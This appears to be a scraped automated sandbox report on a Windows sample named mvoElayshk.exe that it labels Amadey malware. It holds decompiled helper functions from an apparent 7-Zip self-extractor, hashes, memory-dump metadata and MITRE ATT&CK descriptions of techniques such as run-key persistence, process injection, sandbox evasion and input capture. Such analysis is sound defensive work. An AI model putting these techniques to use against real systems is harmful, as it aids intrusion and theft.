						_a7 = 1;
						do {
							_v12();
							_v8 = _v8 + 1;
						} while (E00404F59() != 0);
						do {
							goto L1;
						} while (E00404F59() == 0);
						goto L10;
					}
					L13:
					_t27 = _a8;
					__eflags = _t27;
					if(_t27 != 0) {
						__eflags = _t27 - 1;
						if(__eflags == 0) {
							L19:
							_t27 = E004059A3(_v12, _t34, __eflags, 0x41d648, 0xffffffff);
						} else {
							_t27 =  *_t48 & 0x0000ffff;
							__eflags = _t27;
							if(_t27 != 0) {
								L17:
								__eflags = _a7;
								if(_a7 == 0) {
									__eflags = _t27;
									if(__eflags != 0) {
										goto L19;
									}
								}
							} else {
								__eflags = _a8 - 0xffffffff;
								if(_a8 != 0xffffffff) {
									goto L17;
								}
							}
						}
					}
					_push(_v24);
					L0041C160();
					return _t27;
					L3:
					if(_t25 >= 0x61 && _t25 <= 0x7a) {
						goto L9;
					}
					if(_t25 >= 0x41 && _t25 <= 0x5a) {
						goto L9;
					}
					if(_t48 == _t49 && _a8 == 0xffffffff) {
						goto L9;
					}
					goto L13;
				}
			}

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

??3@YAXPAX@Z.MSVCRT ref: 00405A6D

Strings

PreExtract, xrefs: 004059AE
Shortcut, xrefs: 004059ED

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@
String ID: PreExtract$Shortcut
API String ID: 1936579350-2482910946
Opcode ID: f8e0357409be0b6cdbe03f962f647e9891eaa1f72a5def6d86fbd7537504d4e0
Instruction ID: f0f3e7433b1fc6c74c74fcfde131b98a5d6d07456df403abe6898ee91eb4b0a3
Opcode Fuzzy Hash: f8e0357409be0b6cdbe03f962f647e9891eaa1f72a5def6d86fbd7537504d4e0
Instruction Fuzzy Hash: 632185B4A00605DACF24EA55C5856BF7775DF41728F20463BE861B62C1DA7C8E80CE69

Uniqueness

Uniqueness Score: -1.00%

Function 0041499A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041499A(signed int* __ecx, signed int _a4) {
				signed int _t20;
				signed int _t23;
				char* _t25;
				signed int _t27;
				signed int _t35;
				signed int* _t37;
				signed int _t38;
				void* _t41;

				_t25 = _a4;
				_t38 = 0;
				_t37 = __ecx;
				if( *_t25 != 0) {
					do {
						_t38 = _t38 + 1;
					} while ( *((char*)(_t38 + _t25)) != 0);
				}
				_t41 = _t38 - _t37[2];
				if(_t41 > 0) {
					_t35 = 2;
					_t23 = (_t38 + 1) * _t35;
					_push( ~(0 | _t41 > 0x00000000) | _t23);
					L0041C16C();
					_push( *_t37);
					_a4 = _t23;
					L0041C160();
					 *_t37 = _a4;
					_t37[2] = _t38;
				}
				_t27 =  *_t37;
				_t20 = 0;
				if(_t38 != 0) {
					do {
						 *((short*)(_t27 + _t20 * 2)) =  *(_t20 + _t25) & 0x000000ff;
						_t20 = _t20 + 1;
					} while (_t20 < _t38);
				}
				 *((short*)(_t27 + _t38 * 2)) = 0;
				_t37[1] = _t38;
				return 0;
			}

0x0041499e
0x004149a2
0x004149a8
0x004149aa
0x004149ac
0x004149ac
0x004149ad
0x004149ac
0x004149b3
0x004149b6
0x004149bc
0x004149c0
0x004149c9
0x004149ca
0x004149cf
0x004149d1
0x004149d4
0x004149de
0x004149e0
0x004149e0
0x004149e3
0x004149e5
0x004149e9
0x004149eb
0x004149ef
0x004149f3
0x004149f4
0x004149eb
0x004149fa
0x004149fe
0x00414a05

APIs

??2@YAPAXI@Z.MSVCRT ref: 004149CA
??3@YAXPAX@Z.MSVCRT ref: 004149D4

Strings

XhV, xrefs: 004149A7

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@
String ID: XhV
API String ID: 1936579350-2999104372
Opcode ID: c23a49df95dae147832c9f3501f33c006e9143362f00e694c7bb24441b87f3e9
Instruction ID: efcf96bb588f5f785581641453fe326869f7e1b2344da6fede55aa69143f0c52
Opcode Fuzzy Hash: c23a49df95dae147832c9f3501f33c006e9143362f00e694c7bb24441b87f3e9
Instruction Fuzzy Hash: 030147B2A112356EC7218F38C88179BFBD4EF49740F20402FE445CB241C734A88187D8

Uniqueness

Uniqueness Score: -1.00%

Function 0041447C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0041447C(intOrPtr* __ecx, char _a4) {
				char* _t8;
				intOrPtr _t9;
				intOrPtr* _t10;
				intOrPtr* _t12;
				char _t15;
				intOrPtr _t17;
				intOrPtr* _t19;

				_t1 =  &_a4; // 0x566858
				_t10 =  *_t1;
				_t19 = __ecx;
				if(_t10 != __ecx) {
					_t17 =  *((intOrPtr*)(_t10 + 4));
					if(_t17 >  *((intOrPtr*)(__ecx + 8))) {
						_t9 = _t17 + 1;
						_push(_t9);
						L0041C16C();
						_push( *__ecx);
						L0041C160();
						 *__ecx = _t9;
						 *((intOrPtr*)(__ecx + 8)) = _t17;
					}
					_t8 =  *_t19;
					 *((intOrPtr*)(_t19 + 4)) = _t17;
					_t12 =  *_t10;
					do {
						_t15 =  *_t12;
						 *_t8 = _t15;
						_t8 = _t8 + 1;
						_t12 = _t12 + 1;
					} while (_t15 != 0);
				}
				return _t19;
			}

0x0041447d
0x0041447d
0x00414482
0x00414486
0x00414489
0x0041448f
0x00414491
0x00414495
0x00414496
0x0041449b
0x0041449f
0x004144a6
0x004144a8
0x004144ab
0x004144ac
0x004144ae
0x004144b1
0x004144b4
0x004144b4
0x004144b6
0x004144b8
0x004144b9
0x004144ba
0x004144b4
0x004144c2

APIs

??2@YAPAXI@Z.MSVCRT ref: 00414496
??3@YAXPAX@Z.MSVCRT ref: 0041449F

Strings

XhV, xrefs: 0041447D

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@
String ID: XhV
API String ID: 1936579350-2999104372
Opcode ID: a36a1c0d369cddcb8d2fb15a98053fc4742f2d06a271a84d2e07d7e8a20c7b72
Instruction ID: d39ad9322e774bb9ea26ea97afb0e80c278408d31db554a684c90e8eec3cdf7a
Opcode Fuzzy Hash: a36a1c0d369cddcb8d2fb15a98053fc4742f2d06a271a84d2e07d7e8a20c7b72
Instruction Fuzzy Hash: 76F089366447159FC7109F5ED8C0597FBE9EF9AB10320845FE1C587712C776B8808BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405A8F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A8F() {

				MessageBoxA(0, "Could not allocate memory", "7-Zip SFX", 0x10);
				return 0;
			}

0x00405a9d
0x00405aa5

APIs

MessageBoxA.USER32 ref: 00405A9D

Strings

7-Zip SFX, xrefs: 00405A91
Could not allocate memory, xrefs: 00405A96

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: a489221f4986250d18ead154f7d6b7669e8a2de19b10e5f35446c668475b1b6f
Instruction ID: a049ee2480a7b50d5fda29a44b7701a856f8a6ed2be67fd4fe0477549e7dcf93
Opcode Fuzzy Hash: a489221f4986250d18ead154f7d6b7669e8a2de19b10e5f35446c668475b1b6f
Instruction Fuzzy Hash: DFB012743C830421D10083210C0FFC411509B0CF06F1048117902A80C2C5C87080910E

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report mvoElayshk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Amadey

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre